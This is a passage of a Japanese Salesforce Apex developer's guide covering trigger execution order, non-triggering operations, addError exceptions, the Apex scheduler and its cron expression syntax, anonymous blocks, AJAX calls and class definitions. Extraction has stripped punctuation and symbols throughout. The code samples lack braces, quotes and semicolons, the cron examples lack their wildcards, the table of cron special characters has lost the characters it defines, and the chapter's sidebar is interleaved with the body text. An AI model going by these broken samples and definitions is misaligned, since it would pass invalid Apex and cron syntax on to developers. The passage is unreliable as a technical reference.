Apex アプリケーションまたは Web サービス API コールなど他のソースから要求が行われた場合この段階でシステム検証は実行されません

3 すべての beforeトリガを実行します4 すべての必須項目にnull以外の値があることを検証しユーザー定義の入力規則を実行するなどシステム

検証がもう一度行われます2回目の検証が行われない場合の唯一のシステム検証 (標準 UI 編集ページから要求が行われた場合) はレイアウト固有のルールの適用となります

5 レコードはデータベースに保存されますがコミットはされません6 すべての afterトリガを実行します7 割り当てルールを実行します8 自動レスポンスルールを実行します9 ワークフロールールを実行します10 ワークフローの項目自動更新がある場合レコードを再度更新します11 レコードがワークフローの項目自動更新により更新された場合beforeトリガおよびafterトリガを再度(し

かし一度きり) 発生します

メモ 更新する必要がある場合にのみbeforeトリガおよび afterトリガが複数回発生します項目が既に値に設定されている場合トリガは再度発生しません

12 エスカレーションルールを実行します13 レコードにロールアップ集計項目が含まれる場合またはオブジェクト間ワークフローの一部である場合

計算を実行し親レコードのロールアップ集計項目を更新します14 すべての DML 操作がデータベースにコミットされます15 電子メール送信などコミット後のロジックが実行されます

Apex の呼び出し Version 180 | トリガと実行の順序 | 74

メモ 組織のワークフロールールおよび積み上げ集計項目の評価という重要な更新が有効である場合再帰保存時のステップ 7 から 13 をスキップします Salesforcecom オンラインヘルプの「Spring 09 ワークフロールールおよび積み上げ集計項目の評価の更新とは」を参照してください

その他の考慮事項

トリガを使用する場合次の点に注意してください

bull [リードの取引開始による入力規則とワークフロートリガの実行]が選択されておりリード取引開始によって作成された商談にApexトリガが関連付けられている場合そのトリガは商談が作成された直後かつ商談の取引先責任者ロールが作成される前に実行されます詳細はSalesforcecom オンラインヘルプの「リード設定のカスタマイズ」を参照してください

bull beforeトリガを設定し商談レコードの [フェーズ]および [売上予測分類]を設定する場合次のように動作します

- [フェーズ]および [売上予測分類]を設定すると商談レコードにはこれらの正確な値が含まれます- [フェーズ]を設定して [売上予測分類]を設定しない場合商談レコードの [売上予測分類]のデフォルト値

はトリガ [フェーズ]に関連した値になります- [フェーズ]を API で指定した値またはユーザーインターフェースから受信した値にリセットすると[売

上予測分類]値も API コールまたはユーザーインターフェースに由来するものでなければなりません[売上予測分類]の値を指定せず入力される [フェーズ]がトリガ [フェーズ]とは異なる場合[売上予測分類]のデフォルト値は [フェーズ]に関連する値となりますトリガ [フェーズ]および入力する [フェーズ]

が同じ場合[売上予測分類]のデフォルト値は設定されません

bull 商品を含む商談をコピーする場合次のイベントが順に発生します

1 親商談は上記のイベントリストに従って保存されます2 商談商品は上記のイベントリストに従って保存されます

メモ商談商品でエラーが発生する場合は商談に戻ってエラーを解決してからコピーを行う必要があります

商談商品に固有のカスタム項目が含まれている場合それらをすべて Null にしてから商談をコピーする必要があります

トリガを開始しない操作トリガはJava アプリケーションサーバによって開始されたまたは処理されるデータ操作言語 (DML) 操作に対してのみ呼び出されますそのためシステムによるいくつかの一括処理ではトリガを呼び出しません例には次のものが含まれます

bull 削除操作のカスケードdeleteを開始していないレコードではトリガの評価を行いませんbull 結合操作の結果として再び親となる子レコードの更新のカスケードbull キャンペーンステータスの一括変更bull ディビジョンの一括転送bull 住所の一括更新bull 承認要求の一括転送bull 電子メールの一括送信

Apex の呼び出し Version 180 | トリガを開始しない操作 | 75

bull カスタム項目のデータ型の変更bull 選択リストの名前変更または置換bull 価格表の管理bull 転送ディビジョンオプションがオンになっているユーザのデフォルトディビジョンの変更

メモ 個人取引先の挿入更新削除を行うと取引先担当者トリガではなく取引先トリガが発生します

リードの取引開始処理の場合リードの取引開始時の入力規制およびトリガが有効化されている場合のみ次の操作に関連する beforeトリガが発生します

bull 取引先連絡先商談の insert

bull 取引先および連絡先の update

商談の商談製品を変更する場合または商談製品のスケジュールで商談製品が変更される場合商談製品によって商談が変更される場合でも商談の before トリガおよび after トリガ検証ルールは発生しませんただしロールアップ要約項目が更新され商談に関連するワークフロールールが実行されます

PageReference オブジェクトの getContentメソッドはトリガ内で使用できません

ContentVersion オブジェクトについては次の点に注意してください

bull スライドおよびスライドの自動修正などContentVersion オブジェクトを使用するコンテンツパック操作はトリガを開始しません

メモ パック内のスライドが修正されるとコンテンツパックが修正されます

bull TagCsvContentSizeおよびVersionData項目の値はContentVersion レコードを作成または更新する要求が API から作成される場合にのみ使用できます

bull ContentVersion オブジェクトの delete トリガの前後で使用することはできません

トリガで更新できない項目一部の項目値はbeforeトリガが発生した後に行われるシステムの save 操作時に設定されます結果としてこれらの項目は変更できずまた before insertトリガまたは before updateトリガで正確に検出できません例には次のものが含まれます

bull TaskisClosed

bull Opportunityamountbull OpportunityForecastCategory

bull OpportunityisWon

bull OpportunityisClosed

bull ContractactivatedDate

bull ContractactivatedById

bull CaseisClosed

bull SolutionisReviewed

bull Id (すべてのレコード)bull createdDate (すべてのレコード)bull lastUpdated (すべてのレコード)

Apex の呼び出し Version 180 | トリガで更新できない項目 | 76

Opportunityに lineitemsがない場合Amountは beforeトリガによって変更することはできません

Idおよび createdDateは before updateトリガで検出できますが変更はできません

トリガの例外トリガを使用してレコードまたは項目に addError()メソッドを呼び出してDML 操作が行われないようにすることができますinsertトリガおよび updateトリガの Triggernewレコードまたは deleteトリガのTriggeroldレコードに使用するとアプリケーションインターフェースおよびログにカスタムエラーメッセージが表示されます

メモ エラーを beforeトリガで追加すると応答時間の遅延がほとんど生じません

処理されるレコードのサブセットはaddError()メソッドでマークできます

bull トリガが Apex の DML ステートメントにより実行される場合 つのエラーはすべての処理に対するロールバックを引き起こしますただしランタイムエンジンはすべてのレコードを処理して完全なエラーリストを生成します

bull トリガが Forcecom API の DML 一括処理により実行される場合ランタイムエンジンは不正なレコードを除外しエラーのないレコードのみを保存します「DML 例外の一括処理」 (ページ205)を参照してください

トリガが未処理の例外を投げた場合すべてのレコードがエラーとしてマークされそれより先の処理は行われません

Apex スケジューラ

Apex クラスを呼び出し特定の時間に実行するにはまずクラスに Schedulableを実装し page in theSalesforcecom ユーザインターフェースの [Apex をスケジュール] ページまたは Systemscheduleメソッドを使用してスケジュールを指定します

[Apex をスケジュール] の詳細はSalesforcecom オンラインヘルプの「Apex のスケジュール」を参照してください

重要 Salesforcecom ではスケジュールされた時間のキューの処理だけを追加します実際の実行はサービスの使用可能状態に応じて遅れる場合があります

一度に使用できるスケジュールクラスは 10 件ですSalesforcecom の [スケジュール済みジョブ] を表示してまたはプログラムで Forcecom Web サービス API を使用して AsyncApexJob オブジェクトを問い合わせて現在のカウントを評価できます

クラスをトリガからスケジュールする場合は細心の注意を払ってくださいトリガは 10 件を超えるスケジュールクラスを追加しないようにする必要があります具体的にはAPI の一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

Schedulableインターフェースの実装

一定の間隔で実行されるようにApexクラスのスケジュールを設定するにはまず Salesforcecomが提供するインターフェース Schedulableを実装する Apex クラスを記述します

Apex の呼び出し Version 180 | トリガの例外 | 77

スケジューラはシステムとして稼動しますユーザがクラスを実行する権限を持っているかどうかに関係なくすべてのクラスが実行されますクラス権限設定の詳細はSalesforcecom オンラインヘルプの「Apex クラスセキュリティの設定」を参照してください

Salesforcecom ユーザインターフェースを使用してスケジュールされた Apex ジョブの実行を監視または停止するには[設定] [監視] [スケジュール済みジョブ] をクリックします詳細はSalesforcecom オンラインヘルプの「スケジュール済みジョブの監視」を参照してください

Systemscheduleメソッドを使用してスケジュール済みジョブの実行を停止するにはSystemabortJobメソッドを使用します

Schedulableインターフェースには実装が必要な 1 つのメソッド executeが含まれています

global void execute(SchedulableContext sc)

スケジュール済みジョブを記録するにはSchedulableContext オブジェクトを使用しますSchedulableContext メソッド getTriggerIdはこのスケジュール済みジョブに関連付けられている CronTrigger オブジェクトの IDを文字列として返しますこのメソッドはスケジュール済みジョブの進行状況を追跡するために使用します

このメソッドはスケジュールを設定するクラスのインスタンスを作成するために使用します

ヒント executeメソッドで追加処理を行うことはできますがSalesforcecomではすべての処理が別個のクラスで行われるようにすることをお勧めします

次の例ではmergeNumbersと呼ばれるクラスの Schedulableインターフェースを実装します

global class scheduledMerge implements Schedulable global void execute(SchedulableContextSC) mergeNumbers M = new mergeNumbers()

次の例では前述のクラスを実装するための SystemScheduleメソッドを使用します

scheduledMerge m = new scheduledMerge() String sch = 20 30 8 10 2 systemschedule(MergeJob sch m)

Apex の一括処理クラスで Schedulableインターフェースを使用することもできます次の例ではbatchable

と呼ばれる Apex の一括処理クラスの Schedulableインターフェースを実装します

global class scheduledBatchable implements Schedulable global void execute(SchedulableContextsc) batchable b = new batchable() databaseexecutebatch(b)

Apex スケジューラのテスト

次はApex スケジューラを使用してテストする方法についての例を示します

これがテストするクラスです

global class TestScheduledApexFromTestMethod implements Schedulable Run the scheduledjob at midnight Sept 3rd2022 public static String CRON_EXP = 0 0 0 3 9 2022 globalvoid execute(SchedulableContext ctx) CronTrigger ct = [SELECT id CronExpressionTimesTriggered NextFireTime FROM CronTrigger WHERE id = ctxgetTriggerId()]SystemassertEquals(CRON_EXP ctCronExpression) SystemassertEquals(0 ctTimesTriggered)SystemassertEquals(2022-09-03 000000 StringvalueOf(ctNextFireTime)) Account a =[SELECT id name FROM Account WHERE name = testScheduledApexFromTestMethod] aname =testScheduledApexFromTestMethodUpdated update a

Apex の呼び出し Version 180 | Apex スケジューラ | 78

次で上記のクラスをテストします

istest class TestClass static testmethod void test() TeststartTest() Account a = newAccount() aname = testScheduledApexFromTestMethod insert a Schedule the test jobString jobId = Systemschedule(testBasicScheduledApexTestScheduledApexFromTestMethodCRON_EXP new TestScheduledApexFromTestMethod()) Getthe information from the CronTrigger API object CronTrigger ct = [SELECT id CronExpressionTimesTriggered NextFireTime FROM CronTrigger WHERE id = jobId] Verify the expressionsare the same SystemassertEquals(TestScheduledApexFromTestMethodCRON_EXPctCronExpression) Verify the job has not run SystemassertEquals(0 ctTimesTriggered) Verify the next time the job will run SystemassertEquals(2022-09-03 000000StringvalueOf(ctNextFireTime))SystemassertNotEquals(testScheduledApexFromTestMethodUpdated [SELECT id name FROMaccount WHERE id = aid]name) TeststopTest()SystemassertEquals(testScheduledApexFromTestMethodUpdated [SELECT id name FROM accountWHERE id = aid]name)

SystemScheduleメソッドの使用

Schedulableインターフェースでクラスを実装したらSystemScheduleメソッドを使用して実行しますスケジューラはシステムとして稼動しますユーザがクラスを実行する権限を持っているかどうかに関係なくすべてのクラスが実行されます

メモ クラスをトリガからスケジュールする場合は細心の注意を払ってくださいトリガは 10 件を超えるスケジュールクラスを追加しないようにする必要があります具体的にはAPI の一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

SystemScheduleメソッドはジョブの名前ジョブの実行予定日時を表すために使用する式クラスの名前という 3 つの引数を取りますこの式の構文は次のとおりです

Seconds Minutes Hours Day_of_month Month Day_of_week optional_year

メモ Salesforcecom ではスケジュールされた時間のキューの処理だけを追加します実際の実行はサービスの使用可能状態に応じて遅れる場合があります

SystemScheduleメソッドではすべてのスケジュールの基準としてユーザのタイムゾーンが使用されます

式の値は次のようになります

特殊文字値名前None0ndash59Seconds

None0ndash59Minutes

- 0ndash23Hours

- L W1ndash31Day_of_month

- 1-12または次のとおりMonth

bull JAN

bull FEB

bull MAR

bull APR

Apex の呼び出し Version 180 | Apex スケジューラ | 79

特殊文字値名前

bull MAY

bull JUN

bull JUL

bull AUG

bull SEP

bull OCT

bull NOV

bull DEC

- L 1-7または次のとおりDay_of_week

bull SUN

bull MON

bull TUE

bull WED

bull THU

bull FRI

bull SAT

- Null または 1970-2099optional_year

特殊文字の定義は次のとおりです

bull は値を区切りますたとえば複数の月を指定する場合は JAN MAR APRを使用しますbull - は範囲を指定しますたとえば複数の月を指定する場合は JAN-MARを使用しますbull はすべての値を指定しますたとえばMonthをと指定するとジョブは毎月にスケジュールされますbull は特定の値を指定しませんこれはDay_of_monthと Day_of_weekのみで使用でき一般にある値以

外を指定しない場合に使用しますbull は増分を指定しますスラッシュの前の数値は期間の開始を指定しスラッシュの後の数値は期間の長さ

を指定しますたとえばDay_of_monthに 15と指定した場合Apex クラスは月の 1 日から始まり5 日おきに実行されます

bull L は範囲の終了を指定しますこれはDay_of_monthと Day_of_weekでのみ使用できますDay of month

で使用するとLは 1 月 31 日うるう年の場合は 2 月 28 日など常に月末日を意味しますDay_of_week

のみで使用すると7または SATを意味しますDay_of_weekの値と一緒に使用するとその月で指定した曜日の最後を意味しますたとえば2Lと指定すると月の最終月曜日を指定することになりますLと一緒に値の範囲は使用しないでください予期しない結果が生じる場合があります

bull W は特定の日に最も近い平日 (月曜日 金曜日) を指定しますこれは Day_of_monthでのみ使用できますたとえば20Wと指定し20 日が土曜日の場合クラスは 19 日に実行されます1Wと指定すると1 日が土曜日の場合クラスはその前の月ではなく次の月曜日である 3 日に実行されます

ヒント 月の最後の平日を指定するにはLと Wを一緒に使用します

bull は weekdayday_of_monthという形式で月の第 nth日目を指定しますこれは Day_of_weekでのみ使用できますの前の数値で平日 (SUN-SAT) を指定しますの後ろの数値で月の日付を指定しますたとえば22と指定するとクラスは毎月第 2 月曜日に実行されることを意味します

Apex の呼び出し Version 180 | Apex スケジューラ | 80

式の使用法の例を次に示します

説明式

クラスは毎日午後 1 時に実行されます0 0 13

クラスは毎月最終金曜日の午後 10 時に実行されます0 0 22 6L

クラスは月曜日から金曜日の午前 10 時に実行されます

0 0 10 MON-FRI

クラスは 2010 年の毎日午後 8 時に実行されます0 0 20 2010

次の例ではクラス proscheduleによって Schedulableインターフェースが実装されますこのクラスは2月 13 日の午前 8 時に実行するようにスケジュールされています

proschedule p = new proschedule() String sch = 0 0 8 13 2 systemschedule(One TimePro sch p)

Apex スケジューラのベストプラクティス

bull Salesforcecom ではスケジュールされた時間のキューの処理だけを追加します実際の実行はサービスの使用可能状態に応じて遅れる場合があります

bull クラスをトリガからスケジュールする場合は細心の注意を払ってくださいトリガは 10 件を超えるスケジュールクラスを追加しないようにする必要があります具体的にはAPIの一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

bull executeメソッドで追加処理を行うことはできますがSalesforcecom ではすべての処理が別個のクラスで行われるようにすることをお勧めします

bull 一度に使用できるスケジュールクラスは 10 件ですSalesforcecomの [スケジュール済みジョブ] を表示してまたはプログラムで Forcecom Web サービス API を使用して AsyncApexJob オブジェクトを問い合わせて現在のカウントを評価できます

匿名ブロック

匿名ブロックとはメタデータには格納されないものの次のいずれかをを使用して次のように実行されるApexスクリプトです

bull システムログコンソールbull Forcecom IDEbull executeAnonymous Forcecom Web サービス API コールは次のようになります

ExecuteAnonymousResult executeAnonymous(String code)

System Log コンソールまたは Forcecom IDE やランタイム時に動的に変化するスクリプトの記述などでApexを素早く評価するために匿名ブロックを使用できますたとえばユーザが名前や住所などの値を入力するクラ

Apex の呼び出し Version 180 | 匿名ブロック | 81

イアント側の Web アプリケーションを記述するとしますその場合Apex の匿名ブロックを使用しその名前と住所の連絡先をデータベースに書き込むことができます

匿名ブロックの内容については次の点に注意してください (executeAnonymouscode文字列)

bull ユーザ定義メソッドおよび例外を含めることができますbull ユーザ定義メソッドに staticキーワードを含めることはできませんbull データベースへの変更は手動でコミットする必要はありませんbull Apexスクリプトが正常に完了するとデータベースへのすべての変更は自動的にコミットされますApexス

クリプトが正常に完了しない場合データベースへのすべての変更はロールバックされますbull クラスやトリガとは異なり匿名ブロックは現在のユーザとして実行されスクリプトがユーザオブジェク

トの権限および項目レベルの権限に違反する場合コンパイルが失敗しますbull ローカル以外のスコープを含まないでくださいたとえばglobalアクセス修飾子を使用できますが意味

はありませんメソッドのスコープは匿名ブロックに制限されています

ユーザ定義メソッドでは自身や後から使用されるメソッドを事前に宣言する必要はありませんが変数は宣言されるまで参照できないことにご注意ください次の例では整数 intを宣言する必要がありますがmyProcedure1は宣言する必要はありません

Integer int1 = 0

void myProcedure1() myProcedure2()

void myProcedure2() int1++

myProcedure1()

匿名ブロックで返される結果には次の情報が含まれます

bull 発生したすべてのエラーを含めたコールのコンパイルと実行フェーズのステータス情報bull Systemdebugメソッドへのすべてのコールの出力結果も含めたデバッグログの内容 (「デバッグログの理

解」を参照)bull 各コールのスタック要素に対するクラスメソッド行番号を含めた取得できなかったすべてのスクリプ

ト実行例外の Apex スタックトレース

executeAnonymous()の詳細は「Web サービス API コールおよび Apex の SOAP ヘッダ」 (ページ 406)を参照してください「System Log コンソールの使用」および「Forcecom IDE」も参照してください

AJAX での Apex

AJAX ツールキットには匿名ブロックや公開 webServiceメソッドを通じて Apex を起動するためのサポートが組み込まれてますそれにはAJAX コードに次の行を追加します

ltscript src=soapajax150connectionjs type=textjavascriptgtltscriptgt ltscriptsrc=soapajax150apexjs type=textjavascriptgtltscriptgt

メモ AJAX ボタンの場合これらを別の形式で使用します

Apex を起動するには次の 2 つのメソッドのいずれかを使用します

Apex の呼び出し Version 180 | AJAX での Apex | 82

bull sforceapexexecuteAnonymous (script)を通じて匿名で実行しますこのメソッドが返す結果は APIの結果型と似ていますがJavaScript 構造となります

bull WSDL クラスを使用しますたとえば次の Apex クラスをコールします

global class myClass webService static Id makeContact(String lastName Account a) Contact c = new Contact(LastName = lastName AccountId = aId) return cid

次の JavaScript コードを使用します

var account = sforcesObject(Account) var id =sforceapexexecute(myClassmakeContact lastNameSmith aaccount)

executeメソッドはプリミティブデータ型 Objects およびプリミティブデータ型または sObjects のリストを使用します

パラメータを使用せずに webService メソッドをコールするにはを sforceapexexecuteの 3 つ目のパラメータとして使用しますたとえば次の Apex クラスをコールするとします

global class myClass webService static String getContextUserName() returnUserInfogetFirstName()

次の JavaScript コードを使用します

var contextUser = sforceapexexecute(myClass getContextUserName )

メモ 組織内で名前空間が定義されている場合クラスを起動するときにその名前を JavaScript コードに含める必要がありますたとえば上記のクラスをコールするにはJavaScript を次のように書き換えます

var contextUser = sforceapexexecute(myNamespacemyClass getContextUserName)

組織内で名前空間が定義されているかどうかを確認するにはSalesforcecomの組織にログインし[設定] [作成] [パッケージ] にアクセスします名前空間が定義されている場合[開発者設定] の中に表示されます

どちらの例の結果もメソッドの戻り値の型を表すネイティブな JavaScript 値となります

次の行を使用してデバッグ情報を含むポップアップ ウィンドウを表示します

sforcedebugtrace=true

Apex の呼び出し Version 180 | AJAX での Apex | 83

第 4 章

クラスオブジェクトおよびインターフェース

クラスはApex オブジェクト作成するためのテンプレートつまり設計図で他のクラスユーザ定義メソッド変数例外タイプおよび

トピック

bull クラスを理解する static 初期設定化コードで構成されますクラスオブジェクトおよびbull インターフェースおよび拡張クラ

スインターフェースはアプリケーションの [設定] [開発] [Apexクラス] に格納されています

bull キーワード 正常に保存されるとクラスメソッドや変数は他の Apex スクリプトからまたはwebServiceキーワードで指定されたメソッドのForcecombull アノテーション

bull クラスとキャスト Web サービス API (または AJAX ツールキット) を介して呼び出すことができますbull Apex クラスと Java クラスの違いほとんどの場合ここで紹介するクラスの概念は Java のカウンターパートでモデリングされておりJava での経験があればすぐに理解することができます

bull クラス定義作成bull クラスセキュリティbull 名前空間プレフィックスbull バージョン設定 bull クラスについて Apex のクラス作成の詳細

bull インターフェースおよび拡張クラスインターフェースに関する情報bull キーワードおよびアノテーションクラスメソッドまたは変数の

追加の修飾子bull クラスとキャストあるデータ型のクラスの別のデータ型への割り当

てbull Apex クラスと Java クラスの違い Apex と Java の違いbull クラス定義作成およびクラスのセキュリティユーザーがクラスにア

クセスできるようにするほかSalesforcecomユーザーインターフェースでのクラスの作成

bull 名前空間プレフィックスおよびバージョン設定名前空間プレフィックスの使用および Apex クラスのバージョニング

クラスを理解する

Java と同じようにApexではクラスを作成可能ですクラスはオブジェクトを作成するためのテンプレートつまり設計図ですオブジェクトはクラスのインスタンスです例えばPurchaseOrderクラスは注文全体と注文に伴う可能なすべてのことを示しますPurchaseOrderクラスのインスタンスが送受信する特定の注文書にあたります

すべてのオブジェクトには状態と振る舞いつまりオブジェクト自体に関する情報とオブジェクトが実行できる処理がありますPurchaseOrder オブジェクトの状態つまりオブジェクト自体の情報には送信元のユーザ作成日時重要性を表すフラグの有無などがありますPurchaseOrder の動作つまり実行できる処理には在庫の確認製品の出荷または顧客への通知が含まれます

クラスには変数とメソッドが含まれます変数はオブジェクトの Nameや Typeなどオブジェクトの状態を指定するために使用されますこれらの変数はクラスに関連付けられておりクラスのメンバーであるため一般にメンバー変数と呼ばれますメソッドはgetOtherQuotesや copyLineItemsなど動作を制御するために使用されます

インタフェースはメソッドが実装されていないクラスのようなものですメソッドのシグネチャはありますが各メソッドの本文は空です インターフェースを使用するにはインターフェースに含まれるすべてのメソッドの本文を提供することによって別のクラスがインターフェースを実装する必要があります

クラスオブジェクトおよびインタフェースに関する詳細についてはhttpjavasuncomdocsbookstutorialjavaconceptsindexhtml を参照してください

Apex クラスの定義Apex ではトップレベルのクラス (外部クラスとも呼ぶ) とクラス内に定義されているクラスである内部クラスの両方を定義できます内部クラスは1 つ下のレベルのみです例

public class myOuterClass 追加の myOuterClass コードをここに記述class myInnerClass myInnerClass コードをここに記述

クラスを定義するには以下を指定します

1 アクセス修飾子

bull トップレベルのクラスの宣言にはpublicまたはglobalなどのアクセス修飾子の 1 つを使用しなければなりません

bull 内部クラスの宣言にはアクセス修飾子を使用する必要はありません

2 オプションの定義修飾子 (virtualや abstractなど)3 必須 クラス名に続くキーワード class

4 オプションの拡張および実装またはそのいずれか

クラスを定義するには次の構文を使用します

private | public | global [virtual | abstract | with sharing | without sharing | (none)]class ClassName [implements InterfaceNameList | (none)] [extends ClassName | (none)] クラスのボディ

クラスオブジェクトおよびインターフェース Version 180 | クラスを理解する | 85

bull privateアクセス修飾子はこのクラスがローカルからのみ見えるつまりコードのこのセクションからのみ見えることを宣言しますこれが内部クラスのデフォルトアクセスですつまり内部クラスにアクセス修飾子を指定しない場合privateとみなされますこのキーワードは内部クラスでのみ使用できます

bull publicアクセス修飾子はこのクラスがアプリケーションや名前空間から見えることを宣言しますbull globalアクセス修飾子はこのクラスがすべてのApexスクリプトから見えることを宣言しますwebService

キーワードと共に定義されているメソッドを含むすべてのクラスはglobalとして宣言する必要がありますメソッドまたは内部クラスを globalとして宣言した場合外部のトップレベルクラスも globalとして宣言する必要があります

bull with sharingおよび without sharingの各キーワードはこのクラスの共有モードを指定します詳細はwith sharingまたはwithout sharingキーワードを使う (ページ 105)を参照してください

bull virtual定義修飾子はこのクラスが拡張やオーバーライドを許可することを宣言しますクラスがvirtual

として定義されていなければoverrideキーワードを使用したメソッドをオーバーライドはできませんbull abstract定義修飾子はこのクラスには abstract メソッドを含むつまりシグネチャのみが宣言されてお

りボディが定義されていないメソッドが含まれていることを宣言します

メモ

bull Developer Edition 組織では virtualまたは abstractのいずれかで宣言されたクラスを globalとして宣言することはできませんSandbox 組織では globalとして定義できますDeveloper Edition 組織では privateおよび publicクラスのみを virtualまたは abstractのいずれかで定義できますただしDeveloper Edition 組織または Sandbox 組織でglobalとして定義したクラスは virtual またはabstract クラスを拡張できます

bull クラスが「管理-リリース済み」パッケージバージョンでアップロードされた後に抽象クラスまたは仮想クラスにメソッドを追加することはできません管理パッケージの詳細は「管理パッケージでの Apex の開発 (ページ 165)」を参照してください

クラスは複数のインターフェースを実装できますが既存のクラスを 1 つしか拡張できませんこの制限はApex が複数の継承をサポートしていないことを意味していますリストのインターフェース名はカンマで区切られていますインターフェースの詳細は「インターフェースおよび拡張クラス」 (ページ 97)を参照してください

メソッドと変数のアクセス修飾子の詳細は「アクセス修飾子」 (ページ 92)を参照してください

拡張クラス例以下にApex クラスのすべての機能と共に拡張クラスの例を示します例におけるキーワードを概念はこの章全体を通じてさらに詳細に説明します

トップレベル (外部) クラスは public または global に設定しなければなりません (Web サービスが含まれている場合は globalそれ以外は通常 public に設定します) public class OuterClass

静的ファイナル変数 (定数)外部レベルクラスのみprivate static final Integer MY_INT

非ファイナルな静的変数この変数は単一要求内でのトリガ間の通信に 使用しますpublic static StringsharedState

静的メソッド外部クラスレベルのみpublic static Integer getInt() return MY_INT

静的な初期化 (変数が定義されている箇所に含めることができます)static MY_INT = 2

外部クラスのメンバー変数private final String m

クラスオブジェクトおよびインターフェース Version 180 | 拡張クラス例 | 86

インスタンス初期化ブロック変数を宣言している箇所もしくは コンストラクタで実行できます m = a

コンストラクタはこの外部クラスでは明示的に定義されていないため 暗黙的で引数を取らない公開コンストラクタが存在します

内部インターフェースpublic virtual interface MyInterface

インターフェースメソッドではアクセス修飾子は不要です これらはインターフェースの可視性により常にpublic または global となりますvoid myMethod()

インターフェース拡張interface MySecondInterface extends MyInterface Integer method2(Integeri)

内部クラスvirtual であるため拡張可能です このクラスはインターフェースを拡張しそのインターフェースは代わりに別のインターフェースを拡張します そのためクラスはすべてのメソッドを実装する必要がありますpublic virtual class InnerClass implements MySecondInterface

内部メンバー変数private final String s private final String s2

内部インスタンス初期化ブロック (このコードは上記に記述することもできます) thiss = x

インライン初期化 (上記のブロックが実行された後に発生します)private final Integer i = slength()

明示的な引数を取らないコンストラクタInnerClass() 後で定義される別のコンストラクタを起動しますthis(none)

ファイナル変数値を割り当てるコンストラクタpublic InnerClass(String s2) thiss2 = s2

MyInterface からメソッドを実装するインスタンスメソッド virtual として宣言されているためサブクラスによってオーバーライドできますpublic virtual void myMethod() なにも実行しない

上記の 2 つめのインターフェースメソッドの実装 このメソッドはメンバー変数を参照します (「this」接頭辞がある場合もない場合もあります)public Integer method2(Integer i) return thisi + slength()

Abstract クラス (上記のクラスのサブクラス)親クラスが引数と取らないコンストラクタであるため コンストラクタは不要ですpublic abstract class AbstractChildClass extends InnerClass

このシグネチャで親クラスのメソッドをオーバーライド override キーワードを使用しなければなりませんpublic override void myMethod() 別の処理を実行

親クラスメソッドを同じ名前で異なるシグネチャ これは異なるメソッド (ポリモルフィズムの表示) であるため override キーワードを使用する必要はありませんprotected void method2()

Abstract メソッドこのクラスのサブクラスはこのメソッドを実装する必要がありますabstract IntegerabstractMethod()

abstract メソッドを実装しabstract クラスを完了public class ConcreteChildClass extendsAbstractChildClass 親メソッドの可視性を拡張します可視性は サブクラスでは制限されないことにご注意くださいpublic override Integer abstractMethod() return 5

元の InnerClass の 2 つ目のサブクラスpublic class AnotherChildClass extends InnerClass AnotherChildClass(String s) 引数を取らないコンストラクタの代わりに別のスーパーコンストラクタを明示的に起動しますsuper(s)

例外内部クラスpublic virtual class MyException extends Exception 例外クラスのメンバー変数public Double d

クラスオブジェクトおよびインターフェース Version 180 | 拡張クラス例 | 87

例外クラスのコンストラクタMyException(Double d) thisd = d

protected とマークされた例外クラスメソッドprotected void doIt()

例外クラスはabstract または implement インターフェースとすることができますpublic abstract classMySecondException extends Exception implements MyInterface

このコード例は次を示します

bull トップレベル定義 (外部クラスとも呼ぶ)bull トップレベルクラスの静的変数および静的メソッドおよび静的初期化コードブロックbull トップレベルクラスのメンバー変数とメソッドbull ユーザ定義のコンストラクタが存在しないクラス暗黙的で引数をとらないコンストラクタを含むbull トップレベルクラスのインターフェース定義bull 別のインターフェースを拡張するインターフェースbull トップレベルクラス内の内部クラス定義 (1 つ下のレベル)bull メソッドシグネチャの公開バージョンを実装することでインターフェース (つまり関連付けられているサブ

インターフェース) を実装するクラスbull 内部クラスコンストラクタ定義と呼び出しbull 内部クラスメンバー変数とthisキーワード (引数なし) を使用したその変数の参照bull 別のコンストラクタの起動に thisキーワード (引数なし) を使用する内部クラスコンストラクタbull コンストラクタ外 (変数が定義されている箇所と中かっこ () で囲まれた匿名のブロックの両方) の初期化

コードこれらのコードはJava と同様にファイルに記述されている順序どおりにすべてのコンストラクションと共に実行されることにご注意ください

bull クラス拡張と抽象クラスbull 基本のクラスメソッドをオーバーライドするメソッド (virtualとして宣言する必要がある)bull サブクラスメソッドをオーバーライドするメソッドの overrideキーワードbull 抽象メソッドとコンクリートサブクラスによる実装bull protectedアクセス修飾子bull ファーストクラスオブジェクトとしての例外とそのメンバーメソッドコンストラクタ

この例では上記のクラスを別の Apex スクリプトからコールする方法を示します

内部コンクリートクラスのインスタンスとユーザ定義コンストラクタと共にコンストラクトOuterClassInnerClass ic = new OuterClassInnerClass(x)

そのクラスのユーザ定義メソッドをコールSystemassertEquals(2 icmethod2(1))

インターフェースデータ型で変数を定義しその変数に そのインターフェースを実装する型を割り当てOuterClassMyInterface mi = ic

通常通りに instanceof および casting を使用OuterClassInnerClass ic2 = mi instanceofOuterClassInnerClass (OuterClassInnerClass)mi null Systemassert(ic2 = null)

外部タイプをコンストラクトOuterClass o = new OuterClass() SystemassertEquals(2OuterClassgetInt())

抽象クラスの子のインスタンスをコンストラクトSystemassertEquals(5 newOuterClassConcreteChildClass()abstractMethod())

無効です抽象クラスをコンストラクトできません new OuterClassAbstractChildClass()

クラスオブジェクトおよびインターフェース Version 180 | 拡張クラス例 | 88

無効ですインスタンスから静的メソッドにアクセスできません ogetInt()

無効です外部から protected メソッドをコールできません newOuterClassConcreteChildClass()method2()

このコード例は次を示します

bull 外部クラスのコンストラクトbull 内部クラスのコンストラクトと内部インターフェース型の宣言bull インターフェース型として宣言された変数をインターフェースを実装するクラスのインスタンスに割り当

てbull そのインターフェースを実装するクラスタイプにインターフェース変数をキャスト (instanceof演算子を使

用した検証後)

クラス変数の宣言変数を宣言するには以下を指定します

bull オプション publicfinalstaticなどの修飾子bull 必須 StringBoolean などの変数のデータ型bull 必須 変数の名前bull オプション 変数の値

変数を定義するには次の構文を使用します

[public | private | protected | global | final] [static] data type variable name [= value]

private static final Integer MY_INT private final Integer i = 1

クラスメソッドの定義メソッドを定義するには以下を指定します

bull オプション publicや protectedなどの修飾子bull 必須 String や Integer などメソッドが返す値のデータ型メソッドが値を返さない場合はvoidを使用し

ますbull 必須カンマで区切られかっこ()で囲まれたメソッドの入力パラメータのリスト後にデータ型が続きます

